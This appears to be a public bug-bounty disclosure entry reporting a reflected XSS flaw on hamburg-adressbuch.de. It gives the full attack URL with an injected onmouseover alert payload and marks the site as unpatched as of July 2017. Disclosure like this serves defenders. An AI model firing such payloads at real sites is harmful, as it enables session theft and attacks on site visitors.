hamburg-adressbuch.de XSS vulnerability

Vulnerable URL: http://www.hamburg-adressbuch.de/register.php?stichwort=%22+onmouseover%3Dalert%28%2FOPENBUGBOUNTY%2F%29+lol====alle=suchen=search Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclose...